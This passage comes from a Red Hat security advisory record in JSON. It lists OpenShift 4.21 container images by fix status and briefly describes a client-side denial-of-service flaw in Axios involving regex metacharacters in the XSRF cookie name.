"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487943"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios. A remote attacker, by influencing the XSRF cookie name in a browser environment, could cause the application to construct a regular expression that leads to excessive processing. This can result in a client-side Denial of Service (DoS), where the affected browser tab may freeze, impacting the availability of the application for the user.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Client-side Denial of Service via unescaped regex metacharacters in XSRF cookie name",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This Important flaw in Axios can lead to a client-side Denial of Service. An attacker capable of influencing the XSRF cookie name within a browser environment could trigger excessive regular expression processing, causing the affected browser tab to freeze and degrade user availability. This issue specifically impacts browser-based applications and does not affect Node.js HTTP adapter usage, React Native, or web workers.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64"
],
"known_not_affected": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
